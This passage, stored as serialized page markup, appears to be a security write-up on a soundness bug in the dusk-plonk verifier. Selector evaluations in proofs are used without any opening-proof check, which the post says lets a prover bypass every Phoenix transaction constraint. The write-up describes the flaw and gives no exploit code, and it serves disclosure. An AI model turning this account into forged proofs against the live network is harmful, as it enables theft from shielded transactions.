073},{"className":144072,"style":92382},[3295],[144074],{"type":23,"tag":314,"props":144075,"children":144076},{},[],{"type":23,"tag":314,"props":144078,"children":144080},{"className":144079},[20976],[144081],{"type":28,"value":14653},{"type":28,"value":778},{"type":23,"tag":94,"props":144084,"children":144086},{"className":144085},[3237,3238],[144087],{"type":23,"tag":314,"props":144088,"children":144090},{"className":144089},[3243],[144091],{"type":23,"tag":314,"props":144092,"children":144094},{"className":144093,"ariaHidden":1481},[3248],[144095],{"type":23,"tag":314,"props":144096,"children":144098},{"className":144097},[3253],[144099,144103,144108,144165],{"type":23,"tag":314,"props":144100,"children":144102},{"className":144101,"style":3365},[3258],[],{"type":23,"tag":314,"props":144104,"children":144106},{"className":144105},[20954],[144107],{"type":28,"value":1312},{"type":23,"tag":314,"props":144109,"children":144111},{"className":144110},[3264],[144112,144117],{"type":23,"tag":314,"props":144113,"children":144115},{"className":144114,"style":92785},[3264,20825],[144116],{"type":28,"value":92788},{"type":23,"tag":314,"props":144118,"children":144120},{"className":144119},[3280],[144121],{"type":23,"tag":314,"props":144122,"children":144124},{"className":144123},[3285,20879],[144125,144154],{"type":23,"tag":314,"props":144126,"children":144128},{"className":144127},[3290],[144129,144149],{"type":23,"tag":314,"props":144130,"children":144132},{"className":144131,"style":141852},[3295],[144133],{"type":23,"tag":314,"props":144134,"children":144135},{"style":92832},[144136,144140],{"type":23,"tag":314,"props":144137,"children":144139},{"className":144138,"style":3305},[3304],[],{"type":23,"tag":314,"props":144141,"children":144143},{"className":144142},[3310,3311,3312,3313],[144144],{"type":23,"tag":314,"props":144145,"children":144147},{"className":144146,"style":92299},[3264,20825,3313],[144148],{"type":28,"value":114618},{"type":23,"tag":314,"props":144150,"children":144152},{"className":144151},[20982],[144153],{"type":28,"value":20985},{"type":23,"tag":314,"props":144155,"children":144157},{"className":144156},[3290],[144158],{"type":23,"tag":314,"props":144159,"children":144161},{"className":144160,"style":92382},[3295],[144162],{"type":23,"tag":314,"props":144163,"children":144164},{},[],{"type":23,"tag":314,"props":144166,"children":144168},{"className":144167},[20976],[144169],{"type":28,"value":14653},{"type":28,"value":778},{"type":23,"tag":94,"props":144172,"children":144174},{"className":144173},[3237,3238],[144175],{"type":23,"tag":314,"props":144176,"children":144178},{"className":144177},[3243],[144179],{"type":23,"tag":314,"props":144180,"children":144182},{"className":144181,"ariaHidden":1481},[3248],[144183],{"type":23,"tag":314,"props":144184,"children":144186},{"className":144185},[3253],[144187,144191,144196,144253],{"type":23,"tag":314,"props":144188,"children":144190},{"className":144189,"style":3365},[3258],[],{"type":23,"tag":314,"props":144192,"children":144194},{"className":144193},[20954],[144195],{"type":28,"value":1312},{"type":23,"tag":314,"props":144197,"children":144199},{"className":144198},[3264],[144200,144205],{"type":23,"tag":314,"props":144201,"children":144203},{"className":144202,"style":92785},[3264,20825],[144204],{"type":28,"value":143882},{"type":23,"tag":314,"props":144206,"children":144208},{"className":144207},[3280],[144209],{"type":23,"tag":314,"props":144210,"children":144212},{"className":144211},[3285,20879],[144213,144242],{"type":23,"tag":314,"props":144214,"children":144216},{"className":144215},[3290],[144217,144237],{"type":23,"tag":314,"props":144218,"children":144220},{"className":144219,"style":92351},[3295],[144221],{"type":23,"tag":314,"props":144222,"children":144223},{"style":92832},[144224,144228],{"type":23,"tag":314,"props":144225,"children":144227},{"className":144226,"style":3305},[3304],[],{"type":23,"tag":314,"props":144229,"children":144231},{"className":144230},[3310,3311,3312,3313],[144232],{"type":23,"tag":314,"props":144233,"children":144235},{"className":144234},[3264,3313],[144236],{"type":28,"value":1567},{"type":23,"tag":314,"props":144238,"children":144240},{"className":144239},[20982],[144241],{"type":28,"value":20985},{"type":23,"tag":314,"props":144243,"children":144245},{"className":144244},[3290],[144246],{"type":23,"tag":314,"props":144247,"children":144249},{"className":144248,"style":92382},[3295],[144250],{"type":23,"tag":314,"props":144251,"children":144252},{},[],{"type":23,"tag":314,"props":144254,"children":144256},{"className":144255},[20976],[144257],{"type":28,"value":14653},{"type":28,"value":144259},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":24,"props":144261,"children":144262},{},[144263],{"type":28,"value":144264},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":23,"tag":18031,"props":144266,"children":144267},{},[],{"type":23,"tag":61,"props":144269,"children":144271},{"id":144270},"where-dusk-plonk-differs-from-textbook-plonk",[144272],{"type":28,"value":144273},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":24,"props":144275,"children":144276},{},[144277,144286,144288,144293,144295,144325],{"type":23,"tag":31,"props":144278,"children":144280},{"href":141152,"rel":144279},[35],[144281],{"type":23,"tag":94,"props":144282,"children":144284},{"className":144283},[],[144285],{"type":28,"value":141156},{"type":28,"value":144287}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":94,"props":144289,"children":144291},{"className":144290},[],[144292],{"type":28,"value":69817},{"type":28,"value":144294},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":94,"props":144296,"children":144298},{"className":144297},[3237,3238],[144299],{"type":23,"tag":314,"props":144300,"children":144302},{"className":144301},[3243],[144303],{"type":23,"tag":314,"props":144304,"children":144306},{"className":144305,"ariaHidden":1481},[3248],[144307],{"type":23,"tag":314,"props":144308,"children":144310},{"className":144309},[3253],[144311,144315,144320],{"type":23,"tag":314,"props":144312,"children":144314},{"className":144313,"style":110140},[3258],[],{"type":23,"tag":314,"props":144316,"children":144318},{"className":144317,"style":112856},[3264,20825],[144319],{"type":28,"value":112859},{"type":23,"tag":314,"props":144321,"children":144323},{"className":144322,"style":92785},[3264,20825],[144324],{"type":28,"value":143987},{"type":28,"value":144326},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":24,"props":144328,"children":144329},{},[144330,144332,144337,144338,144343,144345,144351,144353,144360],{"type":28,"value":144331},"The important part for this bug is the boundary between ",{"type":23,"tag":721,"props":144333,"children":144334},{},[144335],{"type":28,"value":144336},"public circuit data",{"type":28,"value":557},{"type":23,"tag":721,"props":144339,"children":144340},{},[144341],{"type":28,"value":144342},"prover claims about that data at the random challenge point",{"type":28,"value":144344},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":94,"props":144346,"children":144348},{"className":144347},[],[144349],{"type":28,"value":144350},"Ql, Qr, Qm, Qo, Qk",{"type":28,"value":144352}," directly into the ",{"type":23,"tag":31,"props":144354,"children":144357},{"href":144355,"rel":144356},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[35],[144358],{"type":28,"value":144359},"linearization multi-scalar multiplication",{"type":28,"value":144361},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":24,"props":144363,"children":144364},{},[144365,144367,144392],{"type":28,"value":144366},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":94,"props":144368,"children":144370},{"className":144369},[3237,3238],[144371],{"type":23,"tag":314,"props":144372,"children":144374},{"className":144373},[3243],[144375],{"type":23,"tag":314,"props":144376,"children":144378},{"className":144377,"ariaHidden":1481},[3248],[144379],{"type":23,"tag":314,"props":144380,"children":144382},{"className":144381},[3253],[144383,144387],{"type":23,"tag":314,"props":144384,"children":144386},{"className":144385,"style":110140},[3258],[],{"type":23,"tag":314,"props":144388,"children":144390},{"className":144389,"style":112856},[3264,20825],[144391],{"type":28,"value":112859},{"type":28,"value":144393}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":24,"props":144395,"children":144396},{},[144397],{"type":28,"value":144398},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":144400,"props":144401,"children":144402},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":18031,"props":144404,"children":144405},{},[],{"type":23,"tag":61,"props":144407,"children":144409},{"id":144408},"how-dusk-uses-plonk",[144410],{"type":28,"value":144411},"How Dusk uses PLONK",{"type":23,"tag":24,"props":144413,"children":144414},{},[144415,144421],{"type":23,"tag":31,"props":144416,"children":144418},{"href":141161,"rel":144417},[35],[144419],{"type":28,"value":144420},"Dusk Network",{"type":28,"value":144422}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":127,"props":144424,"children":144425},{},[144426,144431],{"type":23,"tag":88,"props":144427,"children":144428},{},[144429],{"type":28,"value":144430},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":88,"props":144432,"children":144433},{},[144434],{"type":28,"value":144435},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":24,"props":144437,"children":144438},{},[144439,144441,144452,144454,144465],{"type":28,"value":144440},"At node level, every ",{"type":23,"tag":31,"props":144442,"children":144445},{"href":144443,"rel":144444},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[35],[144446],{"type":23,"tag":94,"props":144447,"children":144449},{"className":144448},[],[144450],{"type":28,"value":144451},"ProtocolTransaction::Phoenix",{"type":28,"value":144453}," goes through ",{"type":23,"tag":31,"props":144455,"children":144458},{"href":144456,"rel":144457},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[35],[144459],{"type":23,"tag":94,"props":144460,"children":144462},{"className":144461},[],[144463],{"type":28,"value":144464},"verify_proof_with_version()",{"type":28,"value":144466}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":24,"props":144468,"children":144469},{},[144470,144472,144483,144485,144496,144497,144508,144509,144520,144521,144532],{"type":28,"value":144471},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":23,"tag":31,"props":144473,"children":144476},{"href":144474,"rel":144475},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[35],[144477],{"type":23,"tag":94,"props":144478,"children":144480},{"className":144479},[],[144481],{"type":28,"value":144482},"phoenix()",{"type":28,"value":144484},", for example in ",{"type":23,"tag":31,"props":144486,"children":144489},{"href":144487,"rel":144488},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[35],[144490],{"type":23,"tag":94,"props":144491,"children":144493},{"className":144492},[],[144494],{"type":28,"value":144495},"phoenix_stake()",{"type":28,"value":778},{"type":23,"tag":31,"props":144498,"children":144501},{"href":144499,"rel":144500},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[35],[144502],{"type":23,"tag":94,"props":144503,"children":144505},{"className":144504},[],[144506],{"type":28,"value":144507},"phoenix_stake_reward()",{"type":28,"value":778},{"type":23,"tag":31,"props":144510,"children":144513},{"href":144511,"rel":144512},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[35],[144514],{"type":23,"tag":94,"props":144515,"children":144517},{"className":144516},[],[144518],{"type":28,"value":144519},"phoenix_unstake()",{"type":28,"value":5743},{"type":23,"tag":31,"props":144522,"children":144525},{"href":144523,"rel":144524},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[35],[144526],{"type":23,"tag":94,"props":144527,"children":144529},{"className":144528},[],[144530],{"type":28,"value":144531},"phoenix_to_moonlight()",{"type":28,"value":144533},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":24,"props":144535,"children":144536},{},[144537],{"type":23,"tag":197,"props":144538,"children":144541},{"alt":144539,"src":144540},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":24,"props":144543,"children":144544},{},[144545,144547,144553,144555,144562],{"type":28,"value":144546},"The PLONK implementation, ",{"type":23,"tag":31,"props":144548,"children":144551},{"href":144549,"rel":144550},"https://github.com/dusk-network/plonk",[35],[144552],{"type":28,"value":141156},{"type":28,"value":144554},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":31,"props":144556,"children":144559},{"href":144557,"rel":144558},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[35],[144560],{"type":28,"value":144561},"the original paper",{"type":28,"value":144563}," was released.",{"type":23,"tag":24,"props":144565,"children":144566},{},[144567,144569,144575],{"type":28,"value":144568},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":31,"props":144570,"children":144573},{"href":144571,"rel":144572},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[35],[144574],{"type":28,"value":46834},{"type":28,"value":144576},". The circuit enforces the following set of constraints:",{"type":23,"tag":54995,"props":144578,"children":144579},{},[144580,144596],{"type":23,"tag":122250,"props":144581,"children":144582},{},[144583],{"type":23,"tag":122254,"props":144584,"children":144585},{},[144586,144591],{"type":23,"tag":122258,"props":144587,"children":144588},{},[144589],{"type":28,"value":144590},"Circuit check",{"type":23,"tag":122258,"props":144592,"children":144593},{},[144594],{"type":28,"value":144595},"Statement being checked",{"type":23,"tag":122278,"props":144597,"children":144598},{},[144599,144617,144635,144653,144671,144828,144968,144986],{"type":23,"tag":122254,"props":144600,"children":144601},{},[144602,144612],{"type":23,"tag":122285,"props":144603,"children":144604},{},[144605],{"type":23,"tag":31,"props":144606,"children":144609},{"href":144607,"rel":144608},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[35],[144610],{"type":28,"value":144611},"Merkle tree membership",{"type":23,"tag":122285,"props":144613,"children":144614},{},[144615],{"type":28,"value":144616},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":122254,"props":144618,"children":144619},{},[144620,144630],{"type":23,"tag":122285,"props":144621,"children":144622},{},[144623],{"type":23,"tag":31,"props":144624,"children":144627},{"href":144625,"rel":144626},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[35],[144628],{"type":28,"value":144629},"Input-note secret-key authorization",{"type":23,"tag":122285,"props":144631,"children":144632},{},[144633],{"type":28,"value":144634},"The prover knows the secret key controlling each input note",{"type":23,"tag":122254,"props":144636,"children":144637},{},[144638,144648],{"type":23,"tag":122285,"props":144639,"children":144640},{},[144641],{"type":23,"tag":31,"props":144642,"children":144645},{"href":144643,"rel":144644},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[35],[144646],{"type":28,"value":144647},"Nullifier correctness",{"type":23,"tag":122285,"props":144649,"children":144650},{},[144651],{"type":28,"value":144652},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":122254,"props":144654,"children":144655},{},[144656,144666],{"type":23,"tag":122285,"props":144657,"children":144658},{},[144659],{"type":23,"tag":31,"props":144660,"children":144663},{"href":144661,"rel":144662},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[35],[144664],{"type":28,"value":144665},"Output value commitment correctness",{"type":23,"tag":122285,"props":144667,"children":144668},{},[144669],{"type":28,"value":144670},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":122254,"props":144672,"children":144673},{},[144674,144684],{"type":23,"tag":122285,"props":144675,"children":144676},{},[144677],{"type":23,"tag":31,"props":144678,"children":144681},{"href":144679,"rel":144680},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[35],[144682],{"type":28,"value":144683},"Balance integrity",{"type":23,"tag":122285,"props":144685,"children":144686},{},[144687],{"type":23,"tag":94,"props":144688,"children":144690},{"className":144689},[3237,3238],[144691],{"type":23,"tag":314,"props":144692,"children":144694},{"className":144693},[3243],[144695],{"type":23,"tag":314,"props":144696,"children":144698},{"className":144697,"ariaHidden":1481},[3248],[144699,144739,144779,144811],{"type":23,"tag":314,"props":144700,"children":144702},{"className":144701},[3253],[144703,144707,144712,144716,144726,144730,144735],{"type":23,"tag":314,"props":144704,"children":144706},{"className":144705,"style":3365},[3258],[],{"type":23,"tag":314,"props":144708,"children":144710},{"className":144709,"style":20868},[20861,20866,20867],[144711],{"type":28,"value":108094},{"type":23,"tag":314,"props":144713,"children":144715},{"className":144714,"style":3383},[3344],[],{"type":23,"tag":314,"props":144717,"children":144719},{"className":144718},[3264,28],[144720],{"type":23,"tag":314,"props":144721,"children":144723},{"className":144722},[3264],[144724],{"type":28,"value":144725},"inputs",{"type":23,"tag":314,"props":144727,"children":144729},{"className":144728,"style":3442},[3344],[],{"type":23,"tag":314,"props":144731,"children":144733},{"className":144732},[3447],[144734],{"type":28,"value":1102},{"type":23,"tag":314,"props":144736,"children":144738},{"className":144737,"style":3442},[3344],[],{"type":23,"tag":314,"props":144740,"children":144742},{"className":144741},[3253],[144743,144747,144752,144756,144766,144770,144775],{"type":23,"tag":314,"props":144744,"children":144746},{"className":144745,"style":3365},[3258],[],{"type":23,"tag":314,"props":144748,"children":144750},{"className":144749,"style":20868},[20861,20866,20867],[144751],{"type":28,"value":108094},{"type":23,"tag":314,"props":144753,"children":144755},{"className":144754,"style":3383},[3344],[],{"type":23,"tag":314,"props":144757,"children":144759},{"className":144758},[3264,28],[144760],{"type":23,"tag":314,"props":144761,"children":144763},{"className":144762},[3264],[144764],{"type":28,"value":144765},"outputs",{"type":23,"tag":314,"props":144767,"children":144769},{"className":144768,"style":3345},[3344],[],{"type":23,"tag":314,"props":144771,"children":144773},{"className":144772},[3350],[144774],{"type":28,"value":1130},{"type":23,"tag":314,"props":144776,"children":144778},{"className":144777,"style":3345},[3344],[],{"type":23,"tag":314,"props":144780,"children":144782},{"className":144781},[3253],[144783,144788,144798,144802,144807],{"type":23,"tag":314,"props":144784,"children":144787},{"className":144785,"style":144786},[3258],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":314,"props":144789,"children":144791},{"className":144790},[3264,28],[144792],{"type":23,"tag":314,"props":144793,"children":144795},{"className":144794},[3264],[144796],{"type":28,"value":144797},"fee",{"type":23,"tag":314,"props":144799,"children":144801},{"className":144800,"style":3345},[3344],[],{"type":23,"tag":314,"props":144803,"children":144805},{"className":144804},[3350],[144806],{"type":28,"value":1130},{"type":23,"tag":314,"props":144808,"children":144810},{"className":144809,"style":3345},[3344],[],{"type":23,"tag":314,"props":144812,"children":144814},{"className":144813},[3253],[144815,144819],{"type":23,"tag":314,"props":144816,"children":144818},{"className":144817,"style":114354},[3258],[],{"type":23,"tag":314,"props":144820,"children":144822},{"className":144821},[3264,28],[144823],{"type":23,"tag":314,"props":144824,"children":144826},{"className":144825},[3264],[144827],{"type":28,"value":61215},{"type":23,"tag":122254,"props":144829,"children":144830},{},[144831,144848],{"type":23,"tag":122285,"props":144832,"children":144833},{},[144834,144841,144842],{"type":23,"tag":31,"props":144835,"children":144838},{"href":144836,"rel":144837},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[35],[144839],{"type":28,"value":144840},"Range checks on inputs",{"type":28,"value":557},{"type":23,"tag":31,"props":144843,"children":144846},{"href":144844,"rel":144845},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[35],[144847],{"type":28,"value":144765},{"type":23,"tag":122285,"props":144849,"children":144850},{},[144851,144853],{"type":28,"value":144852},"All note values lie in ",{"type":23,"tag":94,"props":144854,"children":144856},{"className":144855},[3237,3238],[144857],{"type":23,"tag":314,"props":144858,"children":144860},{"className":144859},[3243],[144861],{"type":23,"tag":314,"props":144862,"children":144864},{"className":144863,"ariaHidden":1481},[3248],[144865,144950],{"type":23,"tag":314,"props":144866,"children":144868},{"className":144867},[3253],[144869,144873,144878,144883,144888,144892,144937,144941,144946],{"type":23,"tag":314,"props":144870,"children":144872},{"className":144871,"style":114611},[3258],[],{"type":23,"tag":314,"props":144874,"children":144876},{"className":144875},[20954],[144877],{"type":28,"value":1312},{"type":23,"tag":314,"props":144879,"children":144881},{"className":144880},[3264],[144882],{"type":28,"value":1600},{"type":23,"tag":314,"props":144884,"children":144886},{"className":144885},[3376],[144887],{"type":28,"value":3379},{"type":23,"tag":314,"props":144889,"children":144891},{"className":144890,"style":3383},[3344],[],{"type":23,"tag":314,"props":144893,"children":144895},{"className":144894},[3264],[144896,144901],{"type":23,"tag":314,"props":144897,"children":144899},{"className":144898},[3264],[144900],{"type":28,"value":2378},{"type":23,"tag":314,"props":144902,"children":144904},{"className":144903},[3280],[144905],{"type":23,"tag":314,"props":144906,"children":144908},{"className":144907},[3285],[144909],{"type":23,"tag":314,"props":144910,"children":144912},{"className":144911},[3290],[144913],{"type":23,"tag":314,"props":144914,"children":144916},{"className":144915,"style":3259},[3295],[144917],{"type":23,"tag":314,"props":144918,"children":144919},{"style":3299},[144920,144924],{"type":23,"tag":314,"props":144921,"children":144923},{"className":144922,"style":3305},[3304],[],{"type":23,"tag":314,"props":144925,"children":144927},{"className":144926},[3310,3311,3312,3313],[144928],{"type":23,"tag":314,"props":144929,"children":144931},{"className":144930},[3264,3313],[144932],{"type":23,"tag":314,"props":144933,"children":144935},{"className":144934},[3264,3313],[144936],{"type":28,"value":28671},{"type":23,"tag":314,"props":144938,"children":144940},{"className":144939,"style":3345},[3344],[],{"type":23,"tag":314,"props":144942,"children":144944},{"className":144943},[3350],[144945],{"type":28,"value":3324},{"type":23,"tag":314,"props":144947,"children":144949},{"className":144948,"style":3345},[3344],[],{"type":23,"tag":314,"props":144951,"children":144953},{"className":144952},[3253],[144954,144958,144963],{"type":23,"tag":314,"props":144955,"children":144957},{"className":144956,"style":3365},[3258],[],{"type":23,"tag":314,"props":144959,"children":144961},{"className":144960},[3264],[144962],{"type":28,"value":3267},{"type":23,"tag":314,"props":144964,"children":144966},{"className":144965},[20976],[144967],{"type":28,"value":14653},{"type":23,"tag":122254,"props":144969,"children":144970},{},[144971,144981],{"type":23,"tag":122285,"props":144972,"children":144973},{},[144974],{"type":23,"tag":31,"props":144975,"children":144978},{"href":144976,"rel":144977},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[35],[144979],{"type":28,"value":144980},"Sender-authorship signatures",{"type":23,"tag":122285,"props":144982,"children":144983},{},[144984],{"type":28,"value":144985},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":122254,"props":144987,"children":144988},{},[144989,144999],{"type":23,"tag":122285,"props":144990,"children":144991},{},[144992],{"type":23,"tag":31,"props":144993,"children":144996},{"href":144994,"rel":144995},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[35],[144997],{"type":28,"value":144998},"Sender encryption correctness",{"type":23,"tag":122285,"props":145000,"children":145001},{},[145002],{"type":28,"value":145003},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":24,"props":145005,"children":145006},{},[145007,145009,145015,145017,145026],{"type":28,"value":145008},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":94,"props":145010,"children":145012},{"className":145011},[],[145013],{"type":28,"value":145014},"tx.public_inputs()",{"type":28,"value":145016}," via ",{"type":23,"tag":31,"props":145018,"children":145020},{"href":144456,"rel":145019},[35],[145021],{"type":23,"tag":94,"props":145022,"children":145024},{"className":145023},[],[145025],{"type":28,"value":144464},{"type":28,"value":282},{"type":23,"tag":24,"props":145028,"children":145029},{},[145030],{"type":28,"value":145031},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":18031,"props":145033,"children":145034},{},[],{"type":23,"tag":61,"props":145036,"children":145037},{"id":89553},[145038],{"type":28,"value":145039},"The bug",{"type":23,"tag":24,"props":145041,"children":145042},{},[145043,145045,145052,145054,145065],{"type":28,"value":145044},"In the ",{"type":23,"tag":31,"props":145046,"children":145049},{"href":145047,"rel":145048},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[35],[145050],{"type":28,"value":145051},"PLONK verification",{"type":28,"value":145053},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":31,"props":145055,"children":145058},{"href":145056,"rel":145057},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[35],[145059],{"type":23,"tag":94,"props":145060,"children":145062},{"className":145061},[],[145063],{"type":28,"value":145064},"E_evals",{"type":28,"value":145066},") are:",{"type":23,"tag":127,"props":145068,"children":145069},{},[145070,145102,145127,145152],{"type":23,"tag":88,"props":145071,"children":145072},{},[145073,145079,145080,145086,145087,145093,145094,145100],{"type":23,"tag":94,"props":145074,"children":145076},{"className":145075},[],[145077],{"type":28,"value":145078},"a_eval",{"type":28,"value":778},{"type":23,"tag":94,"props":145081,"children":145083},{"className":145082},[],[145084],{"type":28,"value":145085},"b_eval",{"type":28,"value":778},{"type":23,"tag":94,"props":145088,"children":145090},{"className":145089},[],[145091],{"type":28,"value":145092},"c_eval",{"type":28,"value":778},{"type":23,"tag":94,"props":145095,"children":145097},{"className":145096},[],[145098],{"type":28,"value":145099},"d_eval",{"type":28,"value":145101}," (witness)",{"type":23,"tag":88,"props":145103,"children":145104},{},[145105,145111,145112,145118,145119,145125],{"type":23,"tag":94,"props":145106,"children":145108},{"className":145107},[],[145109],{"type":28,"value":145110},"s_sigma_1_eval",{"type":28,"value":778},{"type":23,"tag":94,"props":145113,"children":145115},{"className":145114},[],[145116],{"type":28,"value":145117},"s_sigma_2_eval",{"type":28,"value":778},{"type":23,"tag":94,"props":145120,"children":145122},{"className":145121},[],[145123],{"type":28,"value":145124},"s_sigma_3_eval",{"type":28,"value":145126}," (permutation)",{"type":23,"tag":88,"props":145128,"children":145129},{},[145130,145136,145137,145143,145144,145150],{"type":23,"tag":94,"props":145131,"children":145133},{"className":145132},[],[145134],{"type":28,"value":145135},"a_w_eval",{"type":28,"value":778},{"type":23,"tag":94,"props":145138,"children":145140},{"className":145139},[],[145141],{"type":28,"value":145142},"b_w_eval",{"type":28,"value":778},{"type":23,"tag":94,"props":145145,"children":145147},{"className":145146},[],[145148],{"type":28,"value":145149},"d_w_eval",{"type":28,"value":145151}," (shifted witness)",{"type":23,"tag":88,"props":145153,"children":145154},{},[145155,145161],{"type":23,"tag":94,"props":145156,"children":145158},{"className":145157},[],[145159],{"type":28,"value":145160},"z_eval",{"type":28,"value":145162}," (permutation accumulator)",{"type":23,"tag":24,"props":145164,"children":145165},{},[145166,145168,145172],{"type":28,"value":145167},"But the following selector evaluations were ",{"type":23,"tag":186,"props":145169,"children":145170},{},[145171],{"type":28,"value":17727},{"type":28,"value":145173}," included:",{"type":23,"tag":127,"props":145175,"children":145176},{},[145177,145188,145199,145210],{"type":23,"tag":88,"props":145178,"children":145179},{},[145180,145186],{"type":23,"tag":94,"props":145181,"children":145183},{"className":145182},[],[145184],{"type":28,"value":145185},"q_arith_eval",{"type":28,"value":145187}," (arithmetic selector)",{"type":23,"tag":88,"props":145189,"children":145190},{},[145191,145197],{"type":23,"tag":94,"props":145192,"children":145194},{"className":145193},[],[145195],{"type":28,"value":145196},"q_c_eval",{"type":28,"value":145198}," (constant selector)",{"type":23,"tag":88,"props":145200,"children":145201},{},[145202,145208],{"type":23,"tag":94,"props":145203,"children":145205},{"className":145204},[],[145206],{"type":28,"value":145207},"q_l_eval",{"type":28,"value":145209}," (left selector)",{"type":23,"tag":88,"props":145211,"children":145212},{},[145213,145219],{"type":23,"tag":94,"props":145214,"children":145216},{"className":145215},[],[145217],{"type":28,"value":145218},"q_r_eval",{"type":28,"value":145220}," (right selector)",{"type":23,"tag":24,"props":145222,"children":145223},{},[145224,145226,145233,145234,145241,145242,145249,145250,145257],{"type":28,"value":145225},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":31,"props":145227,"children":145230},{"href":145228,"rel":145229},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[35],[145231],{"type":28,"value":145232},"proof 